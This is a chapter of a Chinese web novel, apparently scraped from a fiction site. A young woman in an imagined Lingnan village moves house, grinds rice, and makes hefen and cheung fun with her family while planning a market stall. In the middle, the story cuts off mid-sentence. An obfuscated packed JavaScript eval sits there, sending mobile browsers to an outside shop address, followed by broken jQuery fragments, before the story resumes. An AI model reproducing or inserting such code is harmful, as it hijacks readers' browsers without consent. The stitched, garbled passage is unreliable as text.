第二日天刚亮，谢鸣昭终于得空着手搬家的琐事。
双方无父无母，住哪里都一样。
只是谢家比裴家要宽敞些，两人合计，索性搬到谢家住。
裴书尧的东西很少，一骡车就搬完了。
安排好家里的事情后，谢鸣昭就下地了。
虽有长工在照看，但七十亩地全靠旁人终究不放心，得自己亲眼过目才踏实。多去走走，也能警醒他们收了工钱就要上心。
种下不过二日，并不能看出什么，但她就是喜欢地里充满生机的模样。
所有的希望都在地里蓄势待发茁壮成长，也如她此后的日子，定会顺顺利利、安安稳稳。
这是她一直所坚信的信念。
地里的活一时半会闲了下来，是时候琢磨琢磨，要做些什么营生。上山挖药材终究不是长久之计，还得有一门安稳营生，方能长远。
民以食为天，还是先从吃食着手，先攒了本钱，再做其他打算。
镇上的墟市里，除了醉仙楼，最寻常的吃食便是包子馒头、卤肉饭、粥、绿豆红豆糖水、豆腐等寻常之物。但却未见着有河粉之类的粉类吃食。
如若能做出来拿到墟市上摆卖，或许是个营生。
二话不说，谢鸣昭把先前找到得石磨搬了出来，洗净备用。
先把米浸泡三到四个时辰，切勿久泡发酸，不然这米就废了。
谢鸣昭找来一个竹窝篮，洗净备用。
谢鸣月瞧着谢鸣昭忙前忙后的，追在身后，小嘴叽叽喳喳问个不停。
谢鸣月：“姐姐，你要干什么？”
谢鸣昭：“做河粉。”
谢鸣月：“河粉是什么？”
谢鸣昭：“做出来你就知道了。”
谢鸣月：“我也要帮忙。”
谢鸣昭：“好。你去捡些柴火回来。”
谢鸣月：“好！”
说完扑棱着两条小短腿便往外跑。
米已泡好，谢鸣昭就开始磨米浆。
把米粒倒进石磨上的进料口，握住木柄缓缓转动，米粒自磨眼落入，再加入适量的清水。片刻，乳白米浆便顺着磨盘缝隙潺潺流出，落入下方的木桶里。
谢鸣昭欣喜，她见过别人磨豆浆，没料到自己初次磨米浆，竟成功了。
她收起思绪，继续磨米浆。
谢鸣月捡了柴火回来，凑到谢鸣昭身旁，吵着要干活。
念着她年幼，便把添米这活交给她来干。
瞧着乳白的米浆流入木桶，谢鸣月高兴得嘴角直翘起。
谢鸣泽买了鱼钩，吵着说要去钓鱼，谢鸣昭不放心他一人去，要是掉进河里，连个喊话的人都没有，便让裴书尧跟着去。
快到午饭时间，谢鸣泽还没进门，就扯着嗓子大喊：“姐！我钓了条超大的鱼！今日运气真是好，我只钓了一会儿就有鱼上钩了！”
裴书尧紧随其后，道：“他还想继续，我便唬他回来了。”
谢鸣昭微笑看向裴书尧，道：“书尧哥，辛苦你了。”
裴书尧摇摇头，“不辛苦，我只是在一旁干看，没动手。”
谢鸣昭伸头去瞧桶里的大鱼，嚯！起码有五斤！
她抬手摸摸谢鸣泽的头，温和道：“今日先不吃鱼，改日我做水煮鱼给你们吃好吗？”
谢鸣泽连连点头。
裴书尧看着谢鸣昭两姐妹在院子里磨石磨，疑惑道：“阿昭，你们在干什么？”
谢鸣月抢答：“姐夫，我们在磨米浆，姐姐说要做河粉。”
裴书尧皱眉：“河粉？那是何物？”
谢鸣昭笑了笑，“能与瘦肉、猪杂、蔬菜做成猪杂汤河粉，可当作米饭吃；亦能与瘦肉、豆芽、鸡蛋一起炒，做成炒河粉，可当作米饭也可当做菜来吃。”
裴书尧一惊，“哦？竟还有这等吃食？你是如何得知？”
谢鸣昭不假思索道：“这是从西边传来的吃法，岭南这边尚未广泛流传。”
裴书尧恍然大悟：“原来如此！阿昭你可真厉害，什么都懂的。”
谢鸣泽一边嘴角勾起，“哼，我姐就是厉害。”
谢鸣昭垂下眼皮，望着桶里乳白米浆，正了正神色：“这河粉若是做成，我打算到镇上墟市售卖，可增加家里的进项。”
裴书尧神色一动，颔首道：“你考虑周全，若只是单单售卖河粉，利润怕是微薄。”
谢鸣昭道：“自然不是售卖河粉，我要售卖汤河粉与蒸河粉，现点现做，可自选配菜，价格分高低。滋味新鲜适口，无论贫富老少，都能吃上，利润也高些。”
裴书尧听后，顿感谢鸣昭之不凡，心生佩服，他朝谢鸣昭拱手行礼，郑重道：“娘子聪慧卓绝，裴某自愧不如。”
谢鸣昭笑了，“书尧哥你这是做什么，赶紧起来。”
谢鸣泽和谢鸣月两人不懂经商之事，但也听懂姐姐的打算。得知要做生意，两人高兴得相视一眼。
“阿泽。”
谢鸣泽突然被姐姐叫住，连忙应道：“在！”
“你手巧悟性高，以后我再做吃食你也跟着做。”
谢鸣泽眨了眨眼，即刻挺直腰背，大声应下：“好！”
他心里门清，这是姐姐在托举他。让他跟着做，那便是有意培养他，他一定好好做，不辜负姐姐的期望。
谢鸣月见哥哥有事做，她便不乐意了，“姐姐，我也要做！”
谢鸣昭捏捏她的小脸蛋：“你还小，先玩几年。要是真想做，你就跟在你哥后面搭把手。”
谢鸣月很好哄，马上就高兴了，“好！”
谢鸣泽撇撇嘴，语气宠溺：“你可不能偷懒，我会打你手心的。”
谢鸣月嘟起小嘴：“哼，哥哥才是大懒虫！”
说到这，裴书尧想起一件事。
“对了阿昭，你不是说要让鸣泽去学堂吗？他既然无心考取功名，那不如让我来教，一来鸣泽要学做河粉，我来教时间上松动些，二来去学堂花费不少，也能省些。”
谢鸣昭本没打算让裴书尧教谢鸣泽，这才让他去学堂。现如今他主动开口提出，倒是解了她一桩心事。
她起身行礼，道：“多谢书尧哥。”
裴书尧上前扶起她：“我们是一家人，不必多礼。”
谢鸣昭抬眼望着裴书尧的脸庞，竟觉得他的气色好了不少，脸颊微微泛红，倒有了几分美男子的气韵。
她收起目光，继续磨米浆。
谢鸣泽一把将她拉起来，自己坐下，握着手柄磨起米浆，笑道：“这种粗活就让我来吧。”
谢鸣昭没说什么，由着他去，自己则在一旁添水。
后来这添水的活又被裴书尧抢了去。
半个时辰后，谢鸣泽的手臂都酸了。他捏了捏手臂，还想接着磨，便被裴书尧换下。
两人轮着磨，一个时辰后，终于把米都磨完了。
初次磨米浆没把握到合适的度，谢鸣昭泡了两斤米，磨了半桶米浆出来，这估计能蒸很多河粉。
倒不如一半用来蒸肠粉，一半用来蒸河粉。
家里只有一个竹窝篮，要把这些米浆都蒸完，得费不少功夫。
到时候找个木工，画个图，让他根据图纸制作一个专门蒸肠粉的蒸笼，那就省事很多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815485|211041||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
谢鸣昭从柜子里拿出一个麻袋，用碗舀了半碗白色的类似面粉的粉末倒进米浆里，搅拌均匀。
“阿泽，你知道我往里加了什么吗？”
谢鸣泽摇头。
“这是木薯粉，加入米浆可增加粉皮的韧性及透明度，不易撕裂，耐炒。用量你记住，十斤湿米放五两木薯粉即可，太多口感偏胶，影响口感。”
这木薯粉是她上次去墟市买的，原本她还以为没得卖，没料到竟然有。
谢鸣泽立马转身进卧房，拿出纸和笔，将姐姐的话记录下来。
灶台前。
所有人目不转睛盯着谢鸣昭的操作，河粉的制作不是特别复杂的事情，往竹窝篮上倒上米浆，摇晃摊匀，上锅里蒸两分钟即可。
出锅后，谢鸣昭用筷子挑起粉皮，两手一掀，随即挂在洗净的竹棍上晾凉。谢鸣泽则趁此机会，自己上手学着谢鸣昭的动作制作起来。
谢鸣昭见他仅一次便上手，便由他来摊米浆，自己则掀粉皮，裴书尧则站在一旁拿着竹棍，谢鸣月则负责烧火。粉皮凉后，谢鸣昭则拿到砧板上切成长条，用海碗装着。
四人很快就成了流水线作业。
粉皮蒸好后，就开始蒸肠粉。
蒸肠粉所需米浆比蒸河粉的要稀，谢鸣昭往里加了一勺清水，倒入竹窝篮里摇匀上锅蒸。
只是出锅时，要用刮板将粉皮刮下来，直接放入碗里，这便是肠粉。
米浆浓稠度不同，工序不同，蒸出来的东西便不同。
这些众人都记在心里。
一个时辰后，已是未时，所有人都已饥肠辘辘。
那今日便吃肠粉吧。
肠粉的吃法比较简单，只要淋上特制的酱汁即可。
谢鸣昭用酱油、片糖调出自己喜欢的口味，淋上酱汁后，夹起一块尝了一口，那熟悉的口感瞬间传遍全身，她满足地眯起了眼睛。
有谢鸣昭打样，其余人也跟着淋上酱汁。
肠粉进口的瞬间，就被这嫩滑的口感所征服。
谢鸣泽竖起大拇指，手不停来回晃着，嘴巴塞满肠粉一个字都说不出来，但光看神情便知这肠粉十足地美味。风卷残云很快便把一碗肠粉吃完。又夹了一碗，淋上酱汁吃了起来。
谢鸣月已彻底失语，好吃到直接哭了起来，边吃边哭，十分滑稽。
裴书尧吃相则斯文许多，慢条斯理夹起肠粉，小口小口吃着，竟像个女生。
但光看他的神情便知，他是喜欢肠粉的口感的。
谢鸣昭停下筷子，问道：“你们可还喜欢？”
“喜欢！”
三人异口同声。
得到他们的认可，谢鸣昭心里的底气也多了些。
要做什么营生已定下，只是还要在镇上盘铺子，这里头的门路规矩，还得找个懂行的人问清楚才行。
肠粉已被如数吃尽，众人摊靠在椅背上，抚摸着肚子，满脸餍足。
谢鸣月吃得有点撑，索性站起来走动走动。
谢鸣昭想着裴书尧上过学堂，应该结识一些商户或者官场上的人，问道：“书尧哥，我想在墟市上盘个铺子，你可识得相关的人？”
裴书尧垂眸沉思片刻，道：“前几年与我一同考试的有位家中是做布料生意的，他应该能帮上忙，明日我便去会会他。”
谢鸣昭颔首，笑道：“有劳你了。”
裴书尧笑了笑，道：“不必客气。”
晚饭，谢鸣昭煮了瘦肉汤河粉，众人又美餐一顿。
两斤米，共做出二斤五两河粉，三斤五两肠粉，谢鸣昭对售卖价格大概有了数。